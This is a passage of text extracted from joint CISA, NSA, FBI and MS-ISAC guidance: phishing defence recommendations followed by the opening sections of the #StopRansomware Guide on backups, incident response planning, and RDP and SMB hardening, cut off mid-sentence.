FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +PHISHING TO OBTAIN LOGIN CREDENTIALS +DEFINITION +In phishing attacks used to obtain login credentials, Malicious actors pose as trustworthy sources +(e.g., colleagues, acquaintances, or organizations) to lure victims into providing their login +credentials. Malicious actors can use the compromised credentials (e.g., usernames and passwords) +to gain access to enterprise networks or protected resources, such as email accounts. +EXAMPLE TECHNIQUES +To obtain login credentials, malicious actors commonly: +Impersonate supervisors, trusted colleagues, or IT personnel to send targeted emails to deceive +employees into providing their login credentials. +Use smartphones or tablets, along with short message system (SMS), to send text messages or +chats in platforms such as Slack, Teams, Signal, WhatsApp, or Facebook Messenger to lure +users into divulging their login credentials. +Note: Organizations operating in hybrid environments have fewer face-to-face +interactions and frequent virtual exchanges; thus, users in these environments are more +likely to be deceived by social engineering techniques tailored towards platforms they +frequently use. +Use voice over internet protocol (VoIP) to easily spoof caller identification (ID) which takes +advantage of public trust in the security of phone services, especially landline phones. +Multi-factor authentication (MFA) can reduce the ability of malicious actors using compromised +credentials for initial access. Despite this, if weak forms of MFA are enabled, malicious actors can +still obtain access through phishing and other techniques. Instances of weak MFA implementation +include the following: +Accounts using MFA without Fast Identity Online (FIDO) MFA or Public Key Infrastructure (PKI)based MFA enabled. These forms of MFA- are susceptible to malicious actors using +compromised legitimate credentials to authenticate as the user in legitimate login portals. +Push-notification MFA without number matching. Malicious actors can send a multitude of +approve or deny +push requests + until a user either accepts the request, often by accident or in +frustration. Thus, malicious actors may authenticate with the compromised user +s credentials, if +they do not have number matching enabled +SMS or voice MFA. Malicious actors can convince cellular carrier representatives to transfer +control of a user +s phone number to receive any SMS or call-based MFA codes. Malicious actors +may also deceive users by sending an email containing a link to a malicious website that mimics +a company +s legitimate login portal. The user submits their username, password, and the 6-digit +code MFA, which the actors then receive to authenticate as the user in the legitimate login +portal. +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +Note: For more information on weak MFA implementations, see CISA +s Fact Sheets Implementing +Phishing Resistant MFA and Implementing Number Matching in MFA Applications. +MALWARE-BASED PHISHING +DEFINITION +In malware-based phishing attacks, Malicious actors pose as trustworthy sources (e.g., colleagues, +acquaintances, or organizations) to lure a victim into interacting with a malicious hyperlink or +opening an email attachment to execute malware on host systems. +EXAMPLE TECHNIQUES +To execute malware on host systems, malicious actors commonly: +Send malicious hyperlinks or attachments that cause a user to download malware, facilitating +initial access, information stealing, damage or disruption to systems or services, and/or the +escalation of account privileges. +Malicious actors may use free, publicly available tools (such as GoPhish or Zphisher) to +facilitate spearphishing campaigns where individual users are targeted with specific and +convincing lures. +Malicious actors may send malicious attachments with macro scripts or messages with +seemingly benign or obfuscated links that download malicious executables. +Use smartphone or tablet apps, along with SMS, to send text messages or chats in collaboration +platforms (i.e., Slack, Teams, Signal, WhatsApp, iMessage, and Facebook Messenger) to lure +users into interacting with a malicious hyperlink or attachment that executes malware. +Note: It can be difficult for a user to detect malicious uniform resource locators (URLs) on these +small platforms, as they use constrained user interfaces (UI). +MITIGATIONS +ALL ORGANIZATIONS +The mitigations below align with Cross-Sector Cybersecurity Performance Goals (CPGs) developed for +organizations by CISA and the National Institute of Standards and Technology (NIST) to help mitigate +the most prevalent cyber threats to organizational networks. Visit CISA +s Cross-Sector Cybersecurity +Performance Goals for more information on the CPGs, including additional recommended baseline +protections. +PROTECTING LOGIN CREDENTIALS +CISA, NSA, FBI, and MS-ISAC recommend organizations implement the following to reduce the +likelihood of successful login credential phishing. +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +Implement user training on social engineering and phishing attacks [CPG 2.I]. Regularly educate +users on identifying suspicious emails and links, not interacting with those suspicious items, and +the importance of reporting instances of opening suspicious emails, links, attachments, or other +potential lures. +Enable Domain-based Message Authentication, Reporting, and Conformance (DMARC) for +received emails. +DMARC, along with Sender Policy Framework (SPF) and Domain Keys Identified Mail +(DKIM), verify the sending server of received emails by checking published rules. If an +email fails the check, it is deemed a spoofed email address, and the mail system will +quarantine and report it as malicious. +Multiple recipients can be defined for the receipt of DMARC reports. +These tools reject any incoming email that has a domain that is being spoofed when a +DMARC policy of reject is enabled. +Ensure DMARC is set to +reject + for sent emails [CPG 2.M]. This provides robust protection +against other users receiving emails that impersonate a domain. +Spoofed emails are rejected at the mail server prior to delivery. +DMARC reports provide a mechanism for notifying the owner of a spoofed domain +including the source of an apparent forger (information they would not receive +otherwise.) +Enable DMARC policies to lower the chance of cyber threat actors crafting emails that +appear to come from your organization +s domain(s). +See CISA Insights Enhance Email and Web Security and the Center for Internet Security +(CIS +s) page on DMARC, as well as Microsoft +s Anti-Spoofing guidance for more +information.[1] +Implement internal mail and messaging monitoring. Monitoring internal mail and messaging +traffic to identify suspicious activity is essential as users may be phished from outside the +targeted network or without the knowledge of the organizational security team. Establish a +baseline of normal network traffic and scrutinize any deviations. +Implement free security tools, such as OpenDNS Home, to prevent cyber threat actors from +redirecting users to malicious websites to steal their credentials. For more information see, +CISA +s Free Cybersecurity Services and Tools webpage. +Harden credentials by: +TLP:CLEAR +Implementing FIDO or PKI-based MFA [CPG 2.H]. These forms of MFA are phishing +resistant and resilient against the threats listed in previous sections. If an organization +that uses mobile push-notification based MFA is unable to implement phishing-resistant +MFA, use number matching to mitigate MFA fatigue. For further information, see CISA +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +fact sheets for Implementing Phishing Resistant MFA and Implementing Number +Matching in MFA Applications. +Note: Deploying PKI-based MFA requires highly mature identity access and management +programs and is not widely supported by commonly used services. +Prioritizing phishing-resistant MFA for administrator and privileged user accounts, such +as those with access to e-discovery tools or broad access to customer or financial data. +Implementing centralized logins around a Single Sign On (SSO) program. SSO is a user +lifecycle management mechanism that +among other benefits +can reduce the chance of +users being socially engineered to give up their login credentials, especially when paired +with MFA or phishing-resistant MFA. SSO provides IT professionals an audit trail to +examine, either proactively or retroactively, after a suspected or confirmed security +breach. +Review MFA lockout and alert settings and track denied (or attempted) MFA logins [CPG 2.G]. +Perform an account lockout when unusual activity or ongoing malicious login attempts +are occurring to prevent malicious actors from bypassing MFA. +Minimize unnecessary disruptions. This includes prioritizing the health of organizational +and consumer data, rather than the short-term productivity of a single employee. A +significant network security incident would not only impact production by many +employees, but also resource availability and potentially customer or partner data. +Identify and remediate successful phishing attempts. +Promptly report phishing incidents (see the Reporting section). +Develop a documented incident response plan. For further information, see CISA +s fact +sheet on Incident Response Plan Basics. +PREVENTING MALWARE EXECUTION +CISA, NSA, FBI, and MS-ISAC recommend organizations implement the following to reduce the +likelihood of successful malware execution following phishing attacks. +Incorporate denylists at the email gateway and enable firewall rules to prevent successful +malware deployment. +Use denylists to block known malicious domains, URLs, and IP addresses as well as file +extensions such as .scr, .exe, .pif, and .cpl and mislabeled file extensions (e.g., a .exe file that is +labeled as a .doc file.) +State local tribal and territory (SLTT) entities should enable malicious domain blocking +and reporting (MDBR), which is a cloud-based solution with recursive domain name +system (DNS) technology that works to prevent users from connecting to malicious +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +domains. For more information, visit CIS +s webpage on Malicious Domain Blocking and +Reporting (MDBR). +For more information on protective phishing filters, refer to Microsoft, MacOS, or Google +guidance on phishing and malware protection.[2],[3],[4],[5] CISA, NSA, FBI, and MS-ISAC +recommend reaching out to vendors or service providers to learn about what phishing +filters and malware protections are available. +Restrict MacOS and Windows users from having administrative rights [CPG 2.E]. +Implement the principle of least privilege (PoLP) when administering user accounts, and only +allow designated administrator accounts to be used for administrative purposes. +Implement application allowlists [CPG 2.Q], which are security controls that enumerate +application components authorized to be present within a network based on a defined baseline. +For more information, see NIST +s Application Allowlisting. +Block macros by default [CPG 2.N]. +Implement remote browser isolation (RBI) solutions that prevent malware propagation through +quarantining the malware sample upon user execution. RBI solutions run applications that +quarantine malware when a user interacts with a malicious link or binary to prevent further +spread into the environment. Configure RBI solutions in remote workstations so that any +malware is contained within an isolation boundary and cannot access an organization +resources. +Implement free security tools like Quad9 or Google Safe Browsing to identify and stop malware +upon user execution. For more information see, CISA +s Free Cybersecurity Services and Tools +webpage. +Set up a self-serve app store where customers can install approved apps and block apps and +executables from other sources. +Implement a free protective DNS resolver to prevent malicious actors from redirecting users to +malicious websites to steal their credentials. Several services provide free security tools ranging +from personal to professional use cases, such as OpenDNS Home or Cloudflare Zero Trust +Services. For more information see, CISA +s Free Cybersecurity Services and Tools webpage. +Federal organizations should see CISA +s fact sheet Protective Domain Name System (DNS) +Resolver Service for information. +SMALL- AND MEDIUM-SIZED BUSINESSES (SMBs) OR ORGANIZATIONS +CISA, NSA, FBI, and MS-ISAC recommend that small- and medium-sized organizations with limited +resources prioritize the following best practices to protect network resources from prevalent phishing +threats: +User phishing awareness training: Implement a standard anti-phishing training program and +require employees to review phishing training material annually. Additionally, conclude the +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +program evolution with a training check that certifies that the employee has retained all the +information outlined in the training program. +Small businesses are encouraged to implement commercial phishing awareness training +programs to employees. Additionally, NIST offers free anti-phishing training resources for +small businesses on their Small Business Cybersecurity Corner: Phishing webpage. +The Department of Justice (DOJ) offers Anti-Phishing Training Program Support to federal +organizations. +The Federal Trade Commission (FTC) offers guidance to protect small businesses from +phishing threats on their Cybersecurity for Small Businesses: Phishing webpage. +Identify network phishing vulnerabilities: Federal organizations are encouraged to participate in +CISA +s Phishing Vulnerability Scanning assessment service. +Enable MFA: Activating a strong MFA is the best way that small businesses can protect their +internet facing business accounts from phishing related threats. +Learn more about why MFA is important for small business to enable by visiting CISA +More than a Password MFA webpage. The webpage includes an MFA hierarchy, which +helps users identify the strongest form of MFA, and ensures users can select the best +form of MFA based on their operational needs. +Additionally, CISA, NSA, FBI, and MS-ISAC recommend SMBs implement the technical solutions +below to prevent phishing related compromises: +Implement strong password policies to authenticate users. These passwords must adhere to a +password strength policy which requires minimum character length, numbers, special +characters, and case sensitivity, along with prohibiting users from recycling previously used +passwords. +Implement DNS filtering or firewall denylists to block known malicious sites. +Implement anti-virus solutions to mitigate malware and to stop malware from executing if a +malicious hyperlink or attachment from an email is opened. +Implement file restriction policies that prevent malicious high risk file extensions e.g., .exe or .scr +from being downloaded and executed. These types of files are unnecessary for daily operations +and should be heavily restricted on standard business accounts. +Ensure that software applications are set to automatically update so that network software is +always upgraded to the latest version. This helps to prevent malicious actors from exploiting +vulnerabilities within an organization +s network software. +Enable safe web browsing policies so that employees can only access websites that are needed +for daily business operations. These policies also prevent users from visiting malicious websites +that often contain malware that can either harvest user credentials or deploy additional malware +to damage organizational systems. +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +Implement a secure virtual private network (VPN) with MFA enabled. +Reference the Federal Communications Commission +s (FCC) Cybersecurity Planning Guide. The +guide includes information on ways small businesses can improve their overall cybersecurity +posture. +Consider migrating to managed cloud-based email services from reputable third-party vendors. +CISA, NSA, and MS-ISAC encourage small businesses with limited resources to seek managed +cloud email services from trusted third-party vendors. +Migrating from on-premises mail systems to trusted third-party cloud-based mail +providers is beneficial for customers because providers regularly patch and update their +systems. Providers also commonly perform robust email traffic monitoring and antiphishing malware services. +For more information on cloud services, see CISA +s Secure Cloud Business Applications +(SCuBA) project. Although tailored to federal organizations, the SCuBA project provides +guidance and capabilities applicable to all organizations with cloud business application +environments. +SOFTWARE MANUFACTURERS +CISA, NSA, FBI, and MS-ISAC recommend software manufacturers incorporate secure-by-design and default principles and tactics into their software development practices, reducing the susceptibility of +their customers to phishing attacks. For more information on secure by design, see CISA +s secure by +design webpage and joint guide Shifting the Balance of Cybersecurity Risk: Principles and +Approaches for Security-by-Design and -Default. +To mitigate the success of phishing emails reaching users and users interacting with the email, the +authoring organizations recommend the following: +Perform field testing of email software. Implement threat modeling to test the email software +against various deployment scenarios while considering use-cases for organizations ranging from +small to large and configure the software with secure defaults based on the test findings. +Provide email software with DMARC enabled for received emails by default. +Provide email software with DMARC configured to +reject + for sent emails by default. +Provide email products with internal mail and messaging monitoring mechanisms enabled by +default. Email software manufacturers are encouraged to include automatic email traffic +monitoring mechanisms by default that automatically scan email traffic for the presence of +malicious attachments or URLs within email messages. +Mandate MFA for privileged users. Frequently, malicious actors focus their infiltration techniques +on administrator accounts. Administrator accounts have elevated privileges and should be +protected by strong MFA by default. +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +Make MFA an opt-out feature rather than opt-in; have the system regularly prompt the +administrator to enroll in MFA until they have successfully enabled it on their account. +Implement SSO for applications via modern open standards. Examples include Security Assertion +Markup Language (SAML) or OpenID Connect (OIDC.) Make this capability available by default at +no additional cost. +Consider implementing security notifications for the customer when non-secure configurations +are used in email software products. For example, if administrators are not enrolled in MFA, send +repeated security notifications warning the organization of the present security risks so that they +know to mitigate the risk. +To mitigate successful malware execution following phishing attacks: +Ensure phishing filtering and blocking mechanisms are packaged with email software by default +to prevent successful malware deployment. +Provide email software with limited administrative rights by default. Only allow designated +administrator accounts to be used for administrative purposes. +Provide email software with application allowlists by default. +Provide a self-serve application store where customers can install approved applications. Block +applications and executables from external, unapproved sources that are not permitted via +organizational policy. +Include mechanisms that block macros by default with email products. +Include RBI solutions by default. +INCIDENT RESPONSE +If an organization identifies compromised credentials and/or successful malware from phishing +activity, remediate the activity by: +1. Re-provisioning suspected or confirmed compromised user accounts to prevent malicious +actors from maintaining continued access to the environment. +2. Auditing account access following a confirmed phishing incident to ensure malicious actors +no longer have access to the initially impacted account. +3. Isolating the affected workstation after the detection of a phishing attack. This helps stop the +executed malware from spreading further into the organization +s network. +4. Analyzing the malware. After isolating the affected workstation(s), have the malware +analyzed by a team that specializes in malware analysis. +Note: This step may require outsourcing to expert third-party consultants. After analysis, +specialists will know how to safely handle the malware. Learn more by visiting CISA +malware analysis services and resources webpage. +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +5. Eradicating the malware. Eradicate the malware from the network so other workstations +within the organization +s networks can no longer be negatively impacted by the executed +malware. +6. Restore systems to normal operations and confirm they are functioning properly. The main +challenges at this phase are confirming that remediation has been successful, rebuilding +systems, reconnecting networks, as well as correcting misconfigurations. +For more guidance on how to respond to malicious cyber incidents, see CISA +s incident response +playbook and Federal Government Cybersecurity Incident and Vulnerability Response Playbook. +Although tailored to federal organizations, these playbooks provide operational procedures for +planning and conducting cybersecurity incident and vulnerability response activities and detail steps +for both incident and vulnerability response. +REPORTING +Organizations are encouraged to use reporting features that are built into Microsoft Outlook and +other cloud email platforms, as well as report spam directly to Microsoft, Apple, and Google, as +applicable. Reporting suspicious phishing activity is one of the most efficient methods for protecting +organizations as it helps email service providers identify new or trending phishing attacks. +CISA urges organizations to promptly report phishing incidents to CISA at report@cisa.gov or call +the 24/7 response line at (888) 282-0870. +To report spoofing or phishing attempts (or to report that you've been a victim), file a complaint +with the FBI +s Internet Crime Complaint Center (IC3), or contact your local FBI Field Office to +report an incident. +State, local, tribal, and territorial (SLTT) government entities can report to the Multi-State +Information Sharing and Analysis Center (MS-ISAC) by emailing SOC@cisecurity.org or calling +(866) 787-4722. +CISA SERVICES +Cyber Hygiene +Malware Analysis +Phishing Vulnerability Scanning +Free Cybersecurity Services and Tools +MS-ISAC/CIS Services +MS-ISAC Membership and Benefits +CIS Critical Security Controls +Malicious Domain Blocking and Reporting +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +Albert Network Monitoring and Management +CIS Endpoint Security Services +TLP:CLEAR +RESOURCES +CISA +Cross-Sector Cybersecurity Performance Goals +Secure by Design | CISA +More than a Password | CISA +Counter-Phishing Recommendations for Federal Agencies +Zero Trust Maturity Model +Incident Response Playbook +Enhance Email and Web Security +Reducing Spam +Cyber Smart Phishing Guidance +Phishing Security Postcard +Phishing Infographic +Anti-Phishing Training Program Support | CISA +Stop the Snowball: Protect Yourself from Phishing Scams +Spoofing and Phishing +CENTER FOR INTERNET SECURITY +How DMARC Advances Email Security +A Short Guide for Spotting Phishing Attempts +CIS Blueprint of a Phishing Attack +NIST +Application allowlisting - Glossary | CSRC (nist.gov) +Small Business Cybersecurity Corner: Phishing +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +Cybersecurity Planning Guide +Protecting Small Businesses: Phishing +ACKNOWLEDGEMENTS +Spamhaus contributed to this guidance. +DISCLAIMER +The information in this report is being provided +as is + for informational purposes only. CISA, NSA, +FBI, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any +entities, products, or services linked within this document. Any reference to specific commercial +entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, +does not constitute or imply endorsement, recommendation, or favoring by CISA, NSA, FBI, or MSISAC. +REFERENCES +[1] Microsoft: Anti-spoofing protection in EOP +[2] Microsoft: Anti-phishing protection in Microsoft 365 +[3] Microsoft: Exchange Online Protection Overview +[4] Google: Advanced Phishing and Malware Protection +[5] Apple: Protect Your Mac from Malware +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +TLP:CLEAR +CHANGE RECORD +Version +Date +Revision/Change +Description +Section/Page Affected +September 2020 Initial version +February 2023 +#StopRansomware Guide +Publication: October 2023 +Disclaimer: This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when +information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for +public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without restriction. For +more information on the Traffic Light Protocol, see cisa.gov/tlp/. +TLP:CLEAR +TLP:CLEAR +Change Record +Version +Date +Revision/Change Description +September 2020 +Initial Version +May 2023 +See +What +s New + on p.3 +October 2023 +Page | 2 +Initial Access Vector bullet +added for internet-facing +vulnerabilities +Updated guidance on +hardening SMB +Added information about threat +actors impersonating +employees +Added guidance on hardening +web browsers +Added a bullet about abnormal +amounts of data outgoing over +any ports. +Added Acknowledgements +section +Section/Page Affected +Updates throughout +Initial Access Vector: InternetFacing Vulnerabilities and +Mitigations pg. 7 +Part 1: Ransomware and Data +Extortion Preparation, Prevention, +and Mitigation Best Practices, +pages 8, and 9 +Initial Access Vector: Advanced +Forms of Social Engineering pg. +General Best Practices and +Hardening Guidance, page 20 +Part 2: Ransomware and Data +Extortion Response Checklist pg. +Acknowledgements, page 30 +TLP:CLEAR +TLP:CLEAR +INTRODUCTION +Ransomware is a form of malware designed to +encrypt files on a device, rendering them and the +systems that rely on them unusable. Malicious +actors then demand ransom in exchange for +decryption. Over time, malicious actors have +adjusted their ransomware tactics to be more +destructive and impactful and have also exfiltrated +victim data and pressured victims to pay by +threatening to release the stolen data. The +application of both tactics is known as +double +extortion. + In some cases, malicious actors may +exfiltrate data and threaten to release it as their +sole form of extortion without employing +ransomware. +These ransomware and associated data breach +incidents can severely impact business processes +by leaving organizations unable to access +necessary data to operate and deliver missioncritical services. The economic and reputational +impacts of ransomware and data extortion have +proven challenging and costly for organizations of +all sizes throughout the initial disruption and, at +times, extended recovery. +This guide is an update to the Joint Cybersecurity +and Infrastructure Security Agency (CISA) and +Multi-State Information Sharing & Analysis Center +(MS-ISAC) Ransomware Guide released in +September 2020 (see What +s New) and was +developed through the JRTF. This guide includes +two primary resources: +This guide was developed through the U.S. +Joint Ransomware Task Force (JRTF). +The JRTF, co-chaired by CISA and FBI, is an +interagency, collaborative effort to combat the +growing threat of ransomware attacks. The +JRTF was launched in response to a series of +high-profile ransomware attacks on U.S. critical +infrastructure and government agencies. The +JRTF: +1. Coordinates and streamlines the U.S. +Government's response to ransomware +attacks and facilitates information sharing +and collaboration between government +agencies and private sector partners. +2. Ensures operational coordination for +activities such as developing and sharing +best practices for preventing and +responding to ransomware attacks, +conducting joint investigations and +operations against ransomware threat +actors, and providing guidance and +resources to organizations that have been +victimized by ransomware. +3. Represents a significant step forward in +enabling unity of effort across the U.S +Government's efforts to address the +growing threat of ransomware attacks. +For more info on JRTF, see cisa.gov/jointransomware-task-force. +Part 1: Ransomware and Data Extortion +Prevention Best Practices +Part 2: Ransomware and Data Extortion Response Checklist +Part 1 provides guidance for all organizations to reduce the impact and likelihood of ransomware +incidents and data extortion, including best practices to prepare for, prevent, and mitigate these +incidents. Prevention best practices are grouped by common initial access vectors. Part 2 includes a +checklist of best practices for responding to these incidents. +These ransomware and data extortion prevention and response best practices and recommendations +are based on operational insight from CISA, MS-ISAC, the National Security Agency (NSA), and the +Federal Bureau of Investigation (FBI), hereafter referred to as the authoring organizations. The +Page | 3 +TLP:CLEAR +TLP:CLEAR +audience for this guide includes information technology (IT) professionals as well as others within an +organization involved in developing cyber incident response policies and procedures or coordinating +cyber incident response. +The authoring organizations recommend that organizations take the following initial steps to prepare +and protect their facilities, personnel, and customers from cyber and physical security threats and other +hazards: +Join a sector-based information sharing and analysis center (ISAC), where eligible, such as: +MS-ISAC for U.S. State, Local, Tribal, & Territorial (SLTT) Government Entities learn.cisecurity.org/ms-isac-registration. MS-ISAC membership is open to +representatives from all 50 states, the District of Columbia, U.S. Territories, local and +tribal governments, public K-12 education entities, public institutions of higher education, +authorities, and any other non-federal public entity in the United States. +Elections Infrastructure Information Sharing & Analysis Center (EI-ISAC) for U.S. +Elections Organizations - learn.cisecurity.org/ei-isac-registration. +See the National Council of ISACs for more information. +Contact CISA at CISA.JCDC@cisa.dhs.gov to collaborate on information sharing, best +practices, assessments, exercises, and more. +Contact your local FBI field office for a list of points of contact (POCs) in the event of a cyber +incident. +Engaging with peer organizations and CISA enables your organization to receive critical and timely +information and access to services for managing ransomware and other cyber threats. +What +s New +Since the initial release of the Ransomware Guide in September 2020, ransomware actors have +accelerated their tactics and techniques. +To maintain relevancy, add perspective, and maximize the effectiveness of this guide, the following +changes have been made: +Added FBI and NSA as co-authors based on +#StopRansomware is CISA and FBI +s effort +their contributions and operational insight. +to publish advisories for network defenders +Incorporated the #StopRansomware effort into +that detail network defense information +the title. +related to various ransomware variants and +Added recommendations for preventing +threat actors. Visit stopransomware.gov to +common initial infection vectors, including +learn more and to read the joint advisories. +compromised credentials and advanced forms +of social engineering. +Updated recommendations to address cloud backups and zero trust architecture (ZTA). +Expanded the ransomware response checklist with threat hunting tips for detection and +analysis. +Mapped recommendations to CISA +s Cross-Sector Cybersecurity Performance Goals (CPGs). +Page | 4 +TLP:CLEAR +TLP:CLEAR +Part 1: Ransomware and Data Extortion Preparation, Prevention, and +Mitigation Best Practices +These recommended best practices align with the CPGs developed by CISA and the National Institute +of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections +that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on +existing cybersecurity frameworks and guidance to protect against the most common and impactful +threats, tactics, techniques, and procedures. For more information on the CPGs and recommended +baseline protections, visit CISA +s Cross-Sector Cybersecurity Performance Goals. +Preparing for Ransomware and Data Extortion Incidents +Refer to the best practices and references listed in this section to help manage the risks posed by +ransomware and to drive a coordinated and efficient response for your organization in the event of an +incident. Apply these practices to the greatest extent possible pending the availability of organizational +resources. +Maintain offline, encrypted backups of critical data, +Automated cloud backups may not +and regularly test the availability and integrity of +be sufficient because if local files +backups in a disaster recovery scenario [CPG 2.R]. +are encrypted by an attacker, these +Test backup procedures on a regular basis. It is +files will be synced to the cloud, +important that backups are maintained offline, as most +possibly overwriting unaffected +ransomware actors attempt to find and subsequently +data. +delete or encrypt accessible backups to make +restoration impossible unless the ransom is paid. +Ransomware actors often hunt for and collect credentials stored in the targeted environment +and use those credentials to attempt to access backup solutions; they also use publicly +available exploits to target unpatched backup solutions. +Maintain and regularly update +golden images + of critical systems. This includes +maintaining image +templates + that have a preconfigured operating system (OS) and +associated software applications that can be quickly deployed to rebuild a system, such +as a virtual machine or server [CPG 2.O]. +Page | 5 +Use infrastructure as code (IaC) to deploy and update cloud resources and keep +backups of template files offline to quickly redeploy resources. IaC code should +be version controlled and changes to the templates should be audited. +Store applicable source code or executables with offline backups (as well as +escrowed and license agreements). Rebuilding from system images is more +efficient, but some images will not install on different hardware or platforms +correctly; having separate access to software helps in these cases. +TLP:CLEAR +TLP:CLEAR +Retain backup hardware to rebuild systems if rebuilding the primary system is not +preferred. +Consider using a multi-cloud solution to avoid vendor lock-in for cloud-to-cloud backups +in case all accounts under the same vendor are impacted. +Some cloud vendors offer immutable storage solutions that can protect stored +data without the need for a separate environment. Use immutable storage with +caution as it does not meet compliance criteria for certain regulations and +misconfiguration can impose significant cost. +Create, maintain, and regularly exercise a basic cyber incident response plan (IRP) and +associated communications plan that includes response and notification procedures for +ransomware and data extortion/breach incidents [CPG 2.S]. Ensure a hard copy of the plan and +an offline version is available. +Provide data breach notifications to third parties and regulators consistent with law. +Ensure the IRP and communications plan are reviewed and approved by the CEO, or +equivalent, in writing and that both are reviewed and understood across the chain of +command. +Review available incident response guidance, such as the Ransomware Response +Checklist in this guide and Public Power Cyber Incident Response Playbook to: +Consider replacing out-of-date hardware that inhibits restoration with up-to-date +hardware, as older hardware can present installation or compatibility hurdles +when rebuilding from images. +Help your organization better organize around cyber incident response. +Draft cyber incident holding statements. +Develop a cyber IRP. +Include organizational communications procedures as well as templates for cyber +incident holding statements in the communications plan. Reach a consensus on what +level of detail is appropriate to share within the organization and with the public and how +information will flow. +Implement a zero trust architecture to prevent unauthorized access to data and services. +Make access control enforcement as granular as possible. ZTA assumes a network is +compromised and provides a collection of concepts and ideas designed to minimize uncertainty +in enforcing accurate, least privilege per request access decisions in information systems and +services. +Preventing and Mitigating Ransomware and Data Extortion Incidents +Refer to the best practices and references listed in this section to help prevent and mitigate +ransomware and data extortion incidents. Prevention best practices are grouped by common initial +access vectors of ransomware and data extortion actors. +Initial Access Vector: Internet-Facing Vulnerabilities and Misconfigurations +Page | 6 +TLP:CLEAR +TLP:CLEAR +Do not expose services, such as remote desktop protocol, on the web. If these services +must be exposed, apply appropriate compensating controls to prevent common forms of abuse +and exploitation. All unnecessary OS applications and network protocols are disabled on +internet-facing assets. [CPG 2.W] +Conduct regular vulnerability scanning to identify and address vulnerabilities, especially +those on internet-facing devices, to limit the attack surface [CPG 1.E]. +Regularly patch and update software and operating systems to the latest available +versions. +Prioritize timely patching of internet-facing servers +that operate software for processing +internet data, such as web browsers, browser plugins, and document readers +especially for known exploited vulnerabilities. +The authoring organizations +aware of difficulties small and medium business have +keeping internet-facing servers updated +urge migrating systems to reputable +managed + cloud providers to reduce, not eliminate, system maintenance roles for +identity and email systems. For more information, visit NSA +s Cybersecurity Information +page Mitigating Cloud Vulnerabilities. +Ensure all on-premises, cloud services, mobile, and personal (i.e., bring your own device +[BYOD]) devices are properly configured and security features are enabled. For example, +disable ports and protocols that are not being used for business purposes (e.g., Remote +Desktop Protocol [RDP] +Transmission Control Protocol [TCP] Port 3389) [CPG 2.X]. +CISA offers a no-cost Vulnerability Scanning service and other no-cost assessments: +cisa.gov/cyber-resource-hub [CPG 1.F]. +Reduce or eliminate manual deployments and codify cloud resource configuration +through IaC. Test IaC templates before deployment with static security scanning tools to +identify misconfigurations and security gaps. +Check for configuration drift routinely to identify resources that were changed or +introduced outside of template deployment, reducing the likelihood of new security gaps +and misconfigurations being introduced. Leverage cloud providers + services to automate +or facilitate auditing resources to ensure a consistent baseline. +Limit the use of RDP and other remote desktop services. If RDP is necessary, apply best +practices. Threat actors often gain initial access to a network through exposed and poorly +secured remote services, and later traverse the network using the native Windows RDP client. +Threat actors also often gain access by exploiting virtual private networks (VPNs) or using +compromised credentials. Refer to CISA Advisory: Enterprise VPN Security. +Page | 7 +Audit the network for systems using RDP, close unused RDP ports, enforce account +lockouts after a specified number of attempts, apply multifactor authentication (MFA), +and log RDP login attempts. +Update VPNs, network infrastructure devices, and devices being used to remote in to +work environments with the latest software patches and security configurations. +TLP:CLEAR +TLP:CLEAR +Implement MFA on all VPN connections to increase security. If MFA is not implemented, +require teleworkers to use passwords of 15 or more characters. +Disable Server Message Block (SMB) protocol version 1 and upgrade to version 3 (SMBv3) +after mitigating existing dependencies (on existing systems or applications), as they may break +when disabled. SMBv3 was first released as part of updates to Microsoft Windows 8 and +Windows Server 2012, Apple OS X 10.10, and Linux kernel 3.12. +Harden SMBv3 by implementing the following guidance as malicious actors use SMB to +propagate malware across organizations. +Require the use of SMBv 3.1.1. This version contains enhanced security protections, +including pre-authentication integrity, enhanced AES encryption, and signing +cryptography. SMBv 3.1.1 protocol is supported natively in Windows, Apple, and Linux +kernel, as well as many other third-party storage systems. In Microsoft Windows 10 and +Windows Server 2019, Windows 11 Preview Build 25951, and later, you can mandate +SMBv 3.1.1 protections such as dialect client negotiation. For more information, see +Microsoft +s Protect SMB traffic from interception | Use SMB 3.1.1 and SMB dialect +management now supported in Windows Insider. +Block unnecessary SMB communications: +Page | 8 +Block external access of SMB to and from organization networks by blocking +TCP port 445 inbound and outbound at internet perimeter firewalls. Block TCP +ports 137, 138, 139. Note: SMBv2 and later does not use NetBIOS datagrams. +Continuing to use SMBv2 does not have significant risks and can be used where +needed. It is recommended to update it to SMBv3 where feasible. +Block or limit internal SMB traffic so 